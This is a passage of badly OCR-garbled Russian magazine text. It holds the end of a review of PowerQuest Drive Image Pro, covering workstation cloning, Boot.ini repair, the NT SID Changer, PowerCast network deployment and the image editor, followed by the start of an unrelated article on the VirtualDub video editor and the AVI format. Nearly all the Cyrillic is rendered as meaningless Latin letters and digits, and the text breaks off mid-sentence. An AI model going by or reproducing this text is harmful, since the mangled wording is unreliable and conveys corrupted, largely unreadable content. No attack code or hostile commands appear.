BHMMaHMe pa3peiueHMio «Ha /ieTy» pa3Horo poAa 
C|DOpC-Ma>KOpHblX o6CT05ITe/lbCTB, B03HMK3101AMX 
npM KonMpoBaHMM m K/iOHnpoBaHMM pa3Ae/iOB. B 
nepByio onepeAb 3 to othocmtca k pa3Ae/iaM NTFS. 
Oahom m 3 caMbix pacnpodpaHeHHbix 0Ka3biBaeTca 




a TaK BbiMfiAMT MMMfl>K“<J)aM/i b pe^aKiope Drive Image File Editor 


.,UkJ Put l-M*- 


a MacTep Boot Disk Builder 


npo6/ieMa c cfiaM/iOM Boot.ini npM nepeHoce, ao- 
6aB/ieHnn m yAa/ieHMM amckob, 3aMeHe KOHTpo/i/ie- 
POB, KOnMpOB3HMM, K/lOH MpOB3HM M pa3Ae/10B M 
npoHMx M3MeHeHMiix b crpyKType pa3Ae/iOB, KorAa 
Windows NT nepecraeT rpy3MTbca noc/ie TaKoro po- 
Aa MaHMny/iflunn. CpeACTBO ot stoto M3Becmo 
mhotmm — 3arpy3Ka c AMCKeTbi, Ha KOTopyio npeA- 
BapMTe/ibHo 3anMCbiBaeTCfl «npaBMjibHbm» 

Boot.ini, m noc/ieAyiOLAee peAaKTnpoBaHMe CTaporo 
Boot.ini. Ho Bee sto OTHMMaeT BpeMA m HepBbi. K 
TOMy >ne Aa/iexo He Bee pa36npaiOTCfl b TaKMx xmt- 
pocTflx, a kto-to Aa>Ke m He noA03peBaeT 0 cyiAecT- 
BOB3HMM Taxoro cJaaM/ia. Bot no3TOMy-TO b Drive 
Image Pro BcrpoeHa cJayH KL4M51 npoBepKM cootbct- 
ctbma coAep>KMMoro cyiAecTByioiAero Boot.ini cy- 
PObom ASMCTBMTe/ibHOCTM. ripn pacnaKOBKe 
MMMA>K-cl3aM/ia m 3anMCM pa3Ae/ia, b c/iynae 
o6Hapy>KeHM^ HecooTBeTCTBMA, Drive Image Pro 
peAaKTMpyeT Boot.ini ao/dkhwm o6pa30M. 

BackUp pa3Ae^OB we- 

CTKMX AMCKOB CKOpee BTO- 
pocreneHHafl, nonyTHafl 
3aAana, Hewe/iM ocHOBHaa, 
b pemeHMM KOTopoPi mc- 
no/ib3yeTOi Drive Image 
Pro. r/iaBHon ue/ibio ash- 

HOTO npOAyKTa 51B/15ieTC53 
K/10HMp0B3HMe K/lMeHTCKMX 
pa60HMX CT3HI4MM. K/IOHM- 
pOBaHMeM pa6oHMX CT3H- 
L4MM Ha3blB3IOT yCT3HOBKy 
onepauMOHHOM CMCTeMbi 
Ha pa6oHMe CTaHAMM, mm- 
Hy^ TpaAMAMOHHbiPi npo- 
Aecc MHCTa/i/iiiUMM. Oho 
3HaHMTe/ibH0 coKpaiAaeT 
BpeM^ Ha ycTaHOBKy n Ha- 


CTpOMKy pa60HMX CT3HI4MM M n03B0JlfleT CTaHAapTM- 
3MpOB3Tb Ha6op M KOHC^MrypaUMK) yCTaHOB/ieHHbIX 
npM/10>KeHMM. pea/lM3aAMM 3CjDC|DeKTMBHOrO 00- 
HMpoBaHMji Drive Image Pro BK/nonaeT b cbom co- 

CT3B p^A yTM/IMT, n03B0^51 IOIAMX ny6^MKOBaTb 

MMMA>K-c|DaM/ibi b ceTM, MeHATb SID (Security 
Identificator) Ha pa6onnx ct3ham^x m t. a. 

Koro K/iOHiipyeM? 

KaK M3BeCTHO, pa6oHMe CTaHAMM, B 6o^bUJMHCTBe 
CBoeM, pa6oTaiOT noA ynpaB^eHMeM onepauMOHHOM 
CMCTeMbi Windows. Pe>Ke BCTpenaiOTC^i Linux m Apy- 
rne UNIX-CMCTeMbi, eu^e pe>Ke — OS/2. riosTOMy 
Windows c tohkm spemn K/ioHMpoBaHMii HaM HaM- 
6o^ee MHTepecHa, xot^i Drive Image Pro b cocto^i- 
HMM K/lOHMpOBaTb npaKTMHeCKM /lK)6yiO M3 M3BeCT- 
Hbix K/iMeHTCKMx OC. Rnn no^HoueHHoro, Tax CKa- 
3aTb «6ecnpo6^eMHoro» k/iohmpob3hm^ Heo6xoAM- 
MO, HT06bl Bee MaiUMHbl 6bmM OAMH3KOBOM KOHCflM- 
rypaAMM c tohkm 3peHM5i «>Ke/ie3a». fle^o b tom, 

HTO y3KMM MeCTOM B 3TOM npOUeCCe 51 B/15ieTC51, KaK 
npaBM^o, KOHTpo^^ep >KecTKMx amckob. K npMMepy, 
ec^M ApaMBep KOHTpo^^epa, ycTaHOB^eHHbm b 
W indows NT/2000, HaxoA^iAeMC5i b MMMA>K-c|DaM/ie, 
He noAxoAMT k KOHTpo/i/iepy, ycTaHOB/ieHHOMy Ha 
K/iOHMpyeMOM MaiuMHe, to noc^e pacKpbiTM5i 
MMMA>K-c|DaM/ia npM nonbiTKe 3arpy3MTbC5i Bno^He 
BepoflTHo, hto Windows BbiMAeT Ha Blue Screen m- 
60 BbiAacT coo6iAeHMe BpoAe «ntoskrnLexe is 
missing or corrupt)). M, KaK M3BecTHO, TaKMe CMMn- 
tomn roBop^T o tom, hto BaM noTpe6yeTC5i KaK MM- 
HMMyM BoccTaHOB/ieHMe CMCTeMbi nepeycTaHOBKOM. 
ripo6/ieMbi c ApaMBepaMM ApyrMx ycTpoMCTB MeHee 

KpMTMHHbl, HO TeM He MeHee HenpMflTHbl. riOSTOMy 
npM cfiopMMpoBaHMM mmma>K3 ^yHiue nepecTpaxo- 
BaTbai m no/io>KMTb b Hero no/iHbm AMCTpM6yTMB 
CMCTeMbi. B c/iynae c Windows 98 sto MAea^bHbm 
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PowerQuest Drive Image Pro 
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» BapnaHT — cMcreMa nepeycraHOBMT Bee ycTpoMCTBa 
6e3 J1MLUHMX BOnpOCOB. HeCMOTpfl Ha 3TO, Bee >ne 
JiyHLUe K/lOHMpOBaTb MaiUMHbl, MfleHTMHHbie no KOH- 
cjDMrypauMM, HacrpoMKaM BIOS cmctcmhom n/iaTbi, 
flMCKOBbIX M CeTeBbIX KOHTpO/UiepOB, — 3TO 3H3HM- 
Te/lbHO C3KOHOMMT Bailie BpeMfl. 

K/iOHMpoBaHMe Windows 9x, Me 3HaHMTe/ibHO 
npoiMe, 6e3onacHeM m He Tpe6yeT Aono/iHMTe/ibHbix 
MaHMny/mAMM, KpoMe, MO>KeT 6biTb, nepeHacipoMKM 
ceieBbix nporaKO/iOB. OflHaKO Windows NT/2000 b 
flaHHOM c/iynae craB/iT nepefl HaMM p^fl TpyAHocreM, 
xojf\ He CMepTe/ibHbix, ho npeoflo/ieBaTb KOTopbie 
Bee >ne Heo6xoflMMO. Mmchho c stom Ae/ibio 
PowerQuest C03fla/ia yTM/iMTy NT SID Changer. 

NT SID Changer no3BO/meT MeH/iTb yHMKa/ibHbie 
xapaKTepMCTMKM pa6oneM craHAMM Windows 
NT/2000, k Hi/ic/iy KOTopbix othocatoi: SID-Security 
Identificator — yHMKa/ibHbiM HOMep, xpaH/UAMMC/i b 
peeCTpe M 0flH03HaHH0 MAeHTMCflMAMpyiOLAMM MaiilM- 
Hy m npoc|DM/iM no/ib30Baie/ieM, xpaH/UAMeca b /io- 
Ka/ibHOM 6a3e SAM b ceTM, ceieBoe mma pa6oneM 
CTaHi^MM m pa6onyio rpynny, b KOTopyto bxoamt Ma- 
LUMHa. 3anycKaeTOi 3Ta yTM/iMTa M3-nofl «ro/ioro» 
DOS m no3BO/meT M3MeHATb nepeHMC/ieHHbie napa- 
Meipbi. MMeeT CMbic/i npoBOflMTb onepaAMio no 3a- 
MeHe SID flo nepBOM 3arpy3KM Windows, a ajia 
yAo6dBa ee npoBeAeHM^ HanMcaTb He6o/ibwoM 
BAT-cfiaMji m 3anycTMTb era noc/ie pacnaKOBKM 
MMMA>K-c|DaM/ia. 

Mrpa b neTbipe pyKii 
npn noMOiMM PowerCast 

pacnapa/uie/iMBaHM/i m, cooTBeTCTBeHHo, ycKO- 
peHMfl yCTaHOBKM B AMCTpM6yTMB npOAyKTa BK/llOHe- 
Ha cneuMa/ibHaa c/iy>K6a Drive Image PowerCast 
Server. CepBepHaa nacTb pea/iM30BaHa b Aeyx BapM- 
aHTax — oamh p,nn 3anycKa Windows, ApyroPi — p,nn 
DOS. fl/m ee 3anycKa AOdaraHHO Bbi6paTb ny6/im<y- 
eMbm cfiaM/i, noMMeHOBaib PowerCast-ceccMio m Ha- 
>KaTb KHonxy Start, npn stom c/iy>K6a ny6/iMKyeT Bbi- 
6paHHblM MMMA>K-c|DaM/l b ceTM, «npMC/iyilJMBaeTCfl» K 


o6paiAeHMio K/iMeHTOB m, b OTBeT Ha 3anpoc K/iMeH- 
Ta, nocbmaeT eMy MMMA>K-cjDaM/i, Korapbm pacnaKO- 
BbiBaeTCfl Ha K/ioHMpyeMOM MauiMHe. TaKMM o6pa- 
30M, 3arpy3MBUJMCb C K/lMeHTCKMX AMCKeT Ha He- 
CKO/ibKMx MaiuMHax, npn noMOiAM PowerCast mo>kho 
OAHOB peMeHHO npoBecTM npouecc pacnaKOBKM oa- 
HOrO MMMA>K-CjDaM/ia Ha HeCKO/lbKMX MaiuMHax. Cko- 
pOCTb K/lOH MpOB3H Mfl npM 3TOM 6yAeT JlMMMTMpO- 

BaTbCii jiMWb cKopocTbio ceieBoro MHiepcfieMca. fl/m 
OUeHKM CKOpOCTM CKa>KeM, HTO npM COeAMHeHMM 
npocTbiM MS-DOS-k/imchtom nepe3 ceieBbie aAame- 
pbi 3com 905B TX OKaTbrn Ha 50% mmma>k pa3Ae/ia c 
pa3MepoM 33H51TOM o6/iacTM oko/io 1 r6aMT pacnaKO- 
BbiBaeTCfl npMMepHO 3a 12-15 MMHyT. npn yBe/iMHe- 
hmm HMC/ia K/iMeHTOB CKopocrb naAaib He 6yAeT, no- 


CKO/ibKy MMMAW-cJ/aMji nepeAaeTca BceM K/iMeHTaM 
OAHOBpeMeHHO Tax we, KaK, k npMMepy, wMpoKOBe- 
lAaie-nbHbm 3anpoc (Broadcast), OAHaKO npn stom 
6yAeT CM/ibHO B03pacraTb TpacfiMK b ceTM, nosraMy 
We/iaTe/lbHO B MOMeHT KJlOHMpOBaHMfl OCTaHOBMTb 
ceieBbie c/iy>K6bi, aKTMBHO Mcno/ib3yiOLAMe pecypcbi 
ceTM. Hy>KHO ynoM/iHyTb eiAe OAHy raHKOCTb — no- 
CKO/ibKy cjaan/i TpaHC/iMpyeTCfl K/iMeHTaM no npora- 
Ko/iy TCP/IP, Heo6xoAMMO HacipoMTb era Ha K/iMeHT- 
CKMX M CepBepHOM MaiuMHax TaK, HT06bl OHM Haxo- 
AM^MCb b oahom noAceTM. OAHaKO ec^nM Bbi Mcno/ib- 
3yeie DOS-BapMaHT PowerCast m b ceTM pa6oTaeT 
DHCP-cepBep, to BaM He Hy>KHO 6yAeT 3a6oTMTbCii o 
HacTpoMKax: mo>kho C03AaTb PowerCast-AMCKeTbi c 
DHCP-K/iMeHTOM, KorapbiM 6yAeT CTapraBaTb npM 3a- 
rpy3Ke m no^ynaTb IP-aApec aBTOMaTMHecKM. 


IIommmo c^y>K6bi PowerCast, ceTeBOM ycTa- 
hobkm MMMA>K-(|)aM/ia mo>kho Mcno^b30BaTb ApyrMe 
CTaHAapTHbie cnoco6bi. HanpMMep, Mcno^nb3yii 
o6biHHbie ceTeBbie noAK/uoneHMii DOS-k/imchtom 
A-H 53 NetWare \aj\v\ Windows NT, AMCKeTbi c Korapbi- 
mm mo>kho C03AaTb npM noMOiAM MacTepa Boot 
Disk Builder. 

Drive Image Pro Editor — peflaKTop 

MMMA>K-C|>aH/ 10 B 

PaccMaTpMBaii cnoco6bi npMMeHeHMii Drive Image 
Pro, Mbl TOBOpM/lM 06 yCTaHOBKe M BOCCTaHOB/ieHMM 
pa3Ae^OB ue/iMKOM. 3ra, 6e3yc/iOBHO, yumanhuan m 
caMaii Ba>KHaii cjay h KI 4M51 npoAyKTa, ho Haiu o63op 
He 6yAeT no^HbiM m o6"beKTMBHbiM, ec/iM He ynoMii- 
HyTb O HeKOTOpbIX APyrMX era B03M0>KH0CTilX. 

I/I MMA>K-cj3aM/i npeACTaB/meT co6om hckmm «HepHbm 
iUAMK», b KorapoM xpaHMTCfl Becb pa3Ae^ M/iM Aa>Ke 
ABa m 6o^ee pa3Ae/iOB, a 3H3 hmt, m FAT m/im MF- 
Ta6-nMAbi, 3arpy30HHbie ceKrapa, crpyKTypa cjDaM^OB 
m KaTa^oroB. floaraMy r/iyno 6bmo 6bi He C03AaTb 


«BbtOBep» A-fi^ npocMOTpa Taxoro 3aMeHaTe^bHoro 
apxMBa. Mm 5iB/i5ieTca yTM/iMTa Drive Image Pro 
Editor. M, KaK bmaho m 3 Ha3B3HMii, sto He npocra 
«BbtOBep», a eiAe m peAaKrap. OyHKUMOHa/ibHO oh 
K paMHe npMMMTMBeH, OAHaKO M Toro, HTO eCTb, XBa- 
TaeT A-n^ Bbino^HeHMii «c^y>Ke6Hbix o6fl3aHHOCTeM». 
OcjDopM^eH oh b BMAe CTaHAapTHoro npoBOAHMKa, b 
^ eBoPi nacTM Koraporo Mbi bmamm AepeBO, noKa3bi- 
BatoiAee coAep>KMMoe MMMA>K-cjDaM/ia \ajua CTpyKTypbi 
BaiuMx amckob, a b npaBOM pacno/iaraeTca coAep- 
>KMMoe BbiAe/ieHHOM nacTM AepeBa. B stot npoBOA- 
hmk mo>kho Ao6aBMTb KOMaHAOM Add Entry HOBbiPi 
MMMA>K-c|3aM/i, c KorapbiM Bbi xoTMTe pa6oTaTb. 0c- 
HOBH3il CjayH KI4M53 yTM/lMTbl — B0CCT3 HOB/1 eH Me OT- 
Ae/ibHbix 06-beKTOB (cfiaM/iOB m KaTa/ioroB), xpaH/i- 


LAMXCfl B MMMA>K-Cj3aM/ie, Ha >KeCTKMM A^CK M/IM 
cbeMHbiM HocMTe/ib KOMaHAOM Restore. TaKMM o6pa- 
30M MO)KHO BOCCTaHOBMTb nOTep/lHHbie CfiaM/lbl M/IM 
nopyiueHHbiM peecrp. Brapa/i cJayH kum^ — o6-beAM- 
HeHMe HeCKO/lbKMX MMMA>K-c|DaM/10B B OAMH M KOnM- 
poBaHMe OTAe/ibHbix 061^6^06 M3 OAHoro mmma>k- 
cfiaM/ia b ApyroM. M, HaKOHeu, noc/ieAHee, hto no3- 
BO/i/ieT Drive Image Pro Editor, — sto npoBepKa 
Ue/IOCTHOCTM MMMA>K-Cj3aM/10B. 

Drive Image Pro KaK wTaTHoe 
cpeACTBO peaepBHoro KonnpoBaHMB 

EiAe xoTe/iocb 6bi o6paTMTb BHMMaHMe Ha bo3mo>k- 
HOCTb Mcno/ib30BaHM/i Drive Image Pro KaK uiTaTHO- 
ro cpeACTBa pe3epBHoro KonMpoBaHM/i. Kohchho, 
oh a6co/uoTHo HeKOHKypeHTOcnoco6eH c t3kmmm 


MOHCTpaMM, KaK Cheyenne ArcServe, ho hto-to oh, 
6e3yc/iOBHO, MO>KeT. npM noMOiAM yTM/iMTTask 
Builder m Drive Image Scheduler mo>kho KOHCTpyM- 
poBaTb m «B3BOAMTb» BackUp-3aAaHM. Task Builder 
MMeeT p,nt\ 3tmx ue/ieM peAaKrap KOAa CAeHapMeB 
3aAan m KOMnM/i/iTop, c noMOiAbio Korapbix mo>kho 
C03AaBaTb CKpMnT-cjDaM/ibi, Bbino/iH/noiAMec/i no yKa- 
3aHMio n/iaHMpoBiAMKa 3aAan, HacrpaMBaeMoro no- 
cpeACTBOM Drive Image Scheduler. TaKMM o6pa30M, 
MO>KHO Ka>KAblM AeHb Ae/iaTb HOBbie MMMA>K-c|3aM/lbl 
/im6o nepenMCbiBaTb pa3Ae/ibi, hm 0 neM He 3a6o- 
T/icb. QeHHocTb t3kmx B03M0>KH0CTeM Drive Image 
Pro Bbi3biBaeT coMHeHMe, ho b HeKorapbix c/iyna/ix, 
OHM, KOHeHHO, npMMeHMMbl. 

rioABOA/i nepTy BbiiuecKa3aHHOMy, xony OTMe- 
TMTb, hto Drive Image Pro AB/mera npaKTMHecKM 
yHMKa/ibHbiM npoAyKTOM, cnpaB^/uoiAMMC/i c TaKO- 
ro poAa 3aAanaMM. AHa/ioraM-KOHKypeHTOM Drive 
Image Pro AB/mera nporpaMMa Norton Ghost 
KOMnaHMM Symantec, KOTopa/i MMeeT b CBoeM ap- 
ceHa/ie cxo>KMe c^hkamm m TaK>Ke 3ac/iy>KMBaeT 
BHMMaHM/l CO CTOpOHbl nO/1 b30BaTe/ieM. ripOCTOTa 
M B03M0>KH0CTb MCn0/lb30BaHM/l B «6blTOBblX» yC- 
ziOBM/ix Ae/iaiOT Drive Image Pro npMB/ieKaTe/ib- 
hnm A-nfl lUMpoKoro Kpyra no/ib30BaTe/ieM m 3amm- 
HMCTpaTopoB ceTeM. flyMaio, hto mhotmc M3 Bac 
OAeH/lT He33MeHMMOCTb TaKOTO «P051/153 b KycTax» 
b TpyAHbie MMHyTbi, a noraMy — npMo6peTaMTe m 
no/ib3yMTecb. Ceprevi JIaHKviH 


PowerQuest Drive Image Pro 


Co3AaeT <J)aM/ibi pa3Ae/iOB FAT/FAT32, NTFS, 
HPFS, Linux Native, Linux Swap, K/iaccMHecKMe 
TOMa NetWare. 

PaSoTaeT noA Windows 95, 98, Me, 

NT Workstation, 2000 Professional, b nacTM 
Create/ Restore image file pa6oTaeT noA DOS 
(PC DOS, Caldera DR-DOS, MS-DOS), 

Pa3pa6oTHMK PowerQuest Corporation 
www.powerquest.com 


CKopocTb KJiOHMpoBaHMH npM Mcno/ib30BaHMM PowerCast OyfleT 
/iMMMTMpoBaTbcn nMiiib CKopocTbio ceieBoro HHTepc^ePica 


TpaMOTHoe npkiMeHeHkie Drive Image Pro no3BO/ikiT 
BaM M36e>KaTb BC^Koro pofla olumOok, mmiHeii pa6oibi 
m cHHAPOMa «M3o6peieHMfl Be/iocnnefla» 
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SOFTWARE nporpaMMbi /i m h e h h o ro BHfleoMomaxo 


V i r t u a l D u b 

AoMawHee bmago — 

npOCTO M CO BKyCOM 

/lio6ou M3 Bac HaBepHBKa C7i biiua/i npo nporpaMMHoe o6ecneneHMe, pacnpoopaHneMoe no npMHpuny 
GNU General Public License, — 6ecn/iaTHbie nporpaMMbi, KOTopbie nocraB/ifliOTCfl c no/iHbiMU 
MCXOflHbIMM TeKCTaMM M flOCTynHbl Aflfl CB 060 AH 0 r 0 M3MeHeHMB. ripMHeM BCe MOAUC|)UKaAMU TaKOM 
nporpaMMbi TO>Ke ao/ukhw OTBenaTb Tpe6oBaHUflM GNU. 


B KOMnbioTepHOM npecce He pa3 o6cy>KAajicfl 
Bonpoc nepcneKTMBHOCTM TaKMx nporpaMM. 
Beflb coBpeMeHHa^ KOMnbiOTepHafl npoMbiw/ieH- 
HOCTb M pa3pa60TKa no — 3TO BbICOKOAOXOAHbIM 
6M3Hec, a we/iaiomMx pa6oiaib 6ecn/iaTH0 coBceM 
Ma/io, oco6eHHO cpeflM nporpaMMMCTOB-npoc|DeccM- 
OHa/iOB. B pe3y/ibTaie GNU-nporpaMM, no cpaBHe- 
HMKD C n/iaTHblMM, COBCeM HeMHOrO, M o6blHHO OHM 
flOCTaTOHHO HM3KOTO KaHeCTBa M He flOT5irMBaiOT flO 
ypoBH^ KOMMepnecKMx npoflyKTOB. Ho, k cnacTbio, 
BCTpenaiOTCfl m npMATHbie MCK/noneHMA. 

OflMH M3 HaM6o/iee apKMx npMMepoB — npo- 
rpaMMa /iMHeMHoro BMfleoMOHTa>Ka VirtuaLDub p,nn 
n/iaTc|DopMbi Windows (pMC. 1). 

OHa HanMcaHa Bcero oahmm ne/iOBeKOM — npo- 
rpaMMMCTOM 3BepM /1 m (Avery Lee), m 3aHMNiaeT Ha 
A MCKe MeHbrne 1 M6aMT. TeM He MeHee OHa 3aBoe- 


Ba/ia orpoMHyio nony/mpHOCTb bo BceM MMpe cpeAM 
Tex, kto pa6oTaei c UMcfipoBbiM BMAeo. B HHTepHeie 
OHa ynoMMHaeTca He pe>Ke, neM Adobe Premiere. 
Ee3yc/iOBHO, Adobe Premiere npeA/iaraeT 6o/ibwee 
KO/lMHeCTBO CfiyHKUMM, HO OHa C/1MWKOM CJlOWHa M 
Aopora p,nn 6o/ibWMHCTBa no/ib30BaTe/ieM, Aa m ace 
ee B03M0>KH0CTM Cn0C06Hbl pea^M30BaTb TO/lbKO 
npocfieccMOHa/ibi. VirtuaLDub, Hao6opoT, npocia b 
M 3yneHMM, MMeeT yAo6HbiM MHTepcjDeMc m Heipe6o- 
Baie^bHa k >Ke/ie3y. TeM He MeHee m y stom npo- 
rpaMMbi edb Macca oneHb no/ie3Hbix m Aa>Ke yHM- 
Ka/lbHblX B03M0>KH0CTeM. 

y VirtuaLDub ecrb jpv\ K03bipa — yAo6cTBO, cko- 
podb pa6oTbi m BneHauiflfoiAMe bo3mo>khoctm 
o6pa6oTKM cfiaM/ioB. 

Ao6aBMM k 3TOMy eiAe m 6ecn/iaTHOCTb pacnpo- 
CTpaHeHM^, m Bbi noMMeie, hto TaKaa nony/mpHOCTb 


npMW/ia k HeM He c/iynaMHO. BeAb ceunac 6/iaroAa- 
pfl CTpeMMTe/lbHOMy pa3BMTMIO BblHMC/lMTe/lbHOM 
TeXHMKM M CHM>KeHMIO CTOMMOCTM KOMnblOTepHblX 
KOMn/ieKTyioiAMx AMcjDpoBoe BMAeo npeBpaTM/iocb 
M3 yAe/ia npoc|)eccMOHa/iOB b MaccoBoe yB/ieneHMe. 
Hio6bi Ae^aTb TaKMe >Ke BeiAM, pj\n KOTopbix eu^e 
zieT Aec^Tb Ha3aA Tpe6oBa/iMCb AoporMe rpac|}MHec- 
KMe CTaHAMM SGI mjim SUN, ceMHac Bno/iHe Aocra- 
tohho nepcoHa/ibHoro KOMnbioTepa CTOMMOCTbio Me- 
Hee $1000. YAOB/ieTBopflioiAyK) BceM Tpe6oBaHMAM 
juo6MTe/m n/iaTy BMAeo3axBaia mo>kho npMo6pecTM 
npMMepHO 3a $100. l"lo3TOMy MHorne Hana/iM nepe- 
BOAMTb CBOM BMAeoapXMBbl B UMcfipoByio CjDOpMy — 
VirtuaLDub pj\s\ 3Toro noAxoAMT noHTM MAea/ibHO. 
TaK>Ke pody nony/mpHOCTM /uo6MTe/ibCKoro amcJdpo- 
Boro BMAeo cnoco6cTBOBa/io pe3Koe y/iynmeHMe 
AOdynHbix BMAeoKOAeKOB, b HacmocTM noflB/ieHMe 
MPEG-4 m Windows Media Video 7. 

1/liaK, VirtuaLDub no3BO/meT ocymecTB/iflTb 3a- 
XB3T BMAeo, Ha/10>KeHMe CjDM/lbTpOB, pa3pe3aHMe m 
CK/ieMKy cj)parMeHTOB, KOHBepTMpoBaHMe K/iMnoB b 
pa3Hbie cjDopMaTbi m HeKOTopbie ApyrMe BeiAM. 3Aecb 
Heo6xoAMMO ynoM^HyTb, hto cyiAecTByiOT ABa oc- 
HOBHbix MeTOAa o6pa6oTKM BMAeo — c peKOMnpec- 
CMeM m 6e3 Hee. ripM peKOMnpeccMM npouecc o6pa- 
6otkm npoMcxoAMT c/ieAyioiAMM o6pa30M — 

CHana/ia Ka>KAbiM KaAP AeKOAMpyeTCfl, Aa/iee HaK/ia- 
AbiBaeTC^ Hy>KHbiM acjacjae kt mjim npoM3BOAMTCfl Apy- 
roe AeMCTBMe m noc/ie 3Toro KaAP KOAMpyeTCfl cho- 
Ba. 3tot MeTOA BceM xoporn, 3a MCK/noneHMeM 
OHeHb HM3KOM CKOpOCTM pa60Tbl (TaK KaK Hy>KHblM 
cjDparMeHT npMxoAMTca no/iHOCTbio AeKOAMpoBaTb m 
KOAMpoBaTb 3aHOBo) m yxyAiueHMfl KanecTBa (BeAb 
Bee coBpeMeHHbie koackm c>KMMaiOT BMAeo c noTe- 
pflMM HeKOTOpOM H3CTM MHCjDOpMaUMM, M npeo6pa30- 
B3HMM TaKOrO TMna AO/DKHO 6blTb KaK MO>KHO MeHb- » 



a Pmc. 1. 06immm bma nporpaMMbi 
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» we). 06pa6on<a 6e3 peKOMnpeccMM 3aK/uoHaeToi b 
npocTOM KonnpoBaHi/ii/1 MHcfiopMauMM o Kaflpe 6e3 
ee pacKOflMpoBKM. I/I xota o6pa6oTKa c peKOMnpec- 
CMeM no3BO/meT fle/iaTb c BMfleo Bee, hto yroflHo, 
o6pa6oTKa 6e3 peKOMnpeccMM npoMcxoflMT b flec/iT- 
km pa3 6bicipee m He yxyflmaeT KanecTBO M3o6pa- 
>KeHMii. OflHaKO OHa He no3BO/meT M3MeH/iTb coflep- 
>KMMoe KaflpoB, noaTOMy TaKOM cnoco6 mo>kho 
Mcno^b30BaTb pj\s\ flOdaTOHHO He6o/ibworo cneKTpa 
onepaflMM, KOTopbie TeM He MeHee BcrpenaiOTai 
oneHb nacTO, — pj\s\ CK/ieMKM m paspesanm cjapar- 
MeHTOB K/iMna m/im pa6oibi mnbKO co 3ByKOBOM flo- 
po>KKOM. Eifle oflHMM orpaHMHeHMeM o6pa6oTKM 6e3 
peKOMnpeccMM AB/iaeTCfl to, hto pa3pe3aTb K/iMn 
mo>kho to /1 bKO no K/MOHeBbiM KaflpaM. B KanecTBe 
cJ/opMaTa xpaHeHMA npoMe>KyTOHHbix m KOHeHHbix 
pe3y/ibTaTOB VirtualDub Mcno/ib3yeT AVI. 

Boo6ifle, ec/iM Bbi co6MpaeTecb pa6oTaTb c umcJd- 
pOBblM BMfleO, BaM Heo6xOflMMO /1CHO npeflCTaB/l/lTb 
ce6e, hto Taxoe cJ/opMaT AVI, m othct/imbo nyBCTBO- 
BaTb pa3HMuy Me>Kfly pacmMpeHMeM BMfleocfiaM/ia m 
M cno/ib3yeMbiM KOfleKOM. llosTOMy a no3BO/uo ce6e 
noflpo6Hee ocraHOBMTbai Ha 3tom cfiopMaTe. 

OopMaT AVI (Audio-Video Interleaved) 6bi/i pa3- 
pa6oTaH KopnopauMeM Microsoft fl/m xpaHeHM/i m 
BocnpoM3BefleHM/i BMfleopo/iMKOB. Oh MO>KeT coflep- 
>KaTb b ce6e noTOKM neTbipex TMnoB — Video, Audio, 
MIDI, Text. OopMaT flocTaTOHHO npocT — b Hana/ie 
cJ/aM/ia oh coflep>KMT «manKy» M3 BceB03M0>KH0M 
MHcJ/opMauMM o noTOKax, fla/iee MflyT no onepeflM, co 
cbommm Ma/ieHbKMMM «manoHKaMM», noc/ieflOBa- 
Te/ibHOCTM (chunks) flaHHbix fl/m Ka>Kfloro noTOKa 
(ot 3Toro m c/iobo Interleaved b nasaanm cfiopMa- 
Ta). K TOMy >ne AVI coBepmeHHo Bee paBHo, hto 3a 
noc/ieflOBaTe/ibHOCTM flaHHbix oh coflep>KMT, xota 
BMfleOnOTOK MO>KeT 6blTb TO/lbKO OflMH, TOTfla KaK ay- 
flMOnOTOKOB — HeCKO/lbKO (b H3CTHOCTM, AVI MO>KeT 
COflep>KaTb M TO/lbKO OflMH nOTOK — /1m6o BMfleO, 
/im6o ayflMo). CaM cJ/opMaT AVI He HaK/iaflbiBaeT 
a6cO/UOTHO HMK3KMX OrpaHMHeHMM Ha TMn MCnO/lb3y- 
eMoro KOfleKa, hm pj\s\ BMfleo, hm fl/m ayflMo — ohm 
MoryT 6biTb /i io6 bi m m . TaKMM o6pa30M, b AVI MoryT 
coBepmeHHo cnoKOMHo coneTaTbai /uo6bie BMfleo- m 
ayflMOKOfleKM, a Bonpoc: «HeM nocMOTpeTb AVI- 
Cj3aM/l?» — 3ByHMT flOBO/lbHO HaMBHO. Ba>KHO, HT 06 bl 
6bi/iM ycTaHOB/ieHbi Hy>KHbie KOfleKM, a npoMrpaTb 
TaKOM c|)aM/i mo>kho 6yfleT /uo6biM MCI-n/ieuepoM. 
no BHyTpeHHeM CTpyKType AVI npeflcraB/meT co6om 
pa3H0BMflH0CTb RI FF-c|3a M/i a (Resource Interchange 
File Format). Hy>KHO OTMeTMTb, hto pj\n 3aMeHbi 
cJ/opMaTa AVI KopnopaflM/i Microsoft pa3pa6oTa/ia 
HOBbm cfiopMaT ASF (Active Streaming Format), ko- 
TOpblM 3H3HMTe/lbHO OT/lMHaeTCfl B OT AVI M /lMllieH 
Bcex ero HeflocTaTKOB, a mmchho: mo/kct coflep>KaTb 
/iio6bie My/ibTMMeflMMHbie noTOKM, 6e3 bcakmx orpa- 
HMHeHMM, 6o/iee ycTOMHMB k noBpe/KfleHMAM m Bbina- 
fleHM/iM nacTeM c|3aM/ia, ziynme noflxoflMT pj\s\ nepe- 
flaHM no ceT/iM. Ho, k co/Ka/ieHMio, 
pacnpocTpaHeHMio ASF-cfiopMaTa npen/iTCTByeT to, 
hto oh noflflep>KMBaeTC/i fla/ieKO He bccmm BMfleope- 
flaKTopaMM, He MCK/iioneHMe m VirtualDub . 


B KanecTBe BxoflHbix cfiaM/ioB VirtualDub mo/kct 
M cno/ib30BaTb MPG (MPEG-1), DAT (pa3HOBMflHOCTb 
MPEG-1, Mcno/ib3yeMa/i b VideoCD), AVI m Motion- 
JPEG — Cj/OpMaT, B KOTOpOM o6blHHO COXpaHflIOT 
K/iMnbi n/iaTbi BMfleo3axBaTa. VirtualDub coflep>KMT 
BCTpoeHHbm fleKOflep MPEG-1 m Motion-JPEG, hto 
no3BO/i/ieT OTKpbiBaTb cJ/aM/ibi, KOTopbie He npour- 
pbiBaiOTC/i CTaHflapTHbiMM cpeflCTBaMM Windows. 
TaK>Ke VirtualDub mo/kct npoBOflMTb BoccraHOB/ie- 
HMe «6MTbix» MPEG-1 cJaaM/iOB, xota, flo/i>KeH 3aMe- 
TMTb, HTO OH HaMHOrO 6o/iee HyBCTBMTe/ieH k owm6- 
KaM, neM Windows Media Encoder 7. 

0co6eHHO xopomo b VirtualDub npoflyMaH 3a- 
XB3T BMfleo. l/l3BeCTHO, HTO OflHa M3 caMbix 6o/ibmMx 
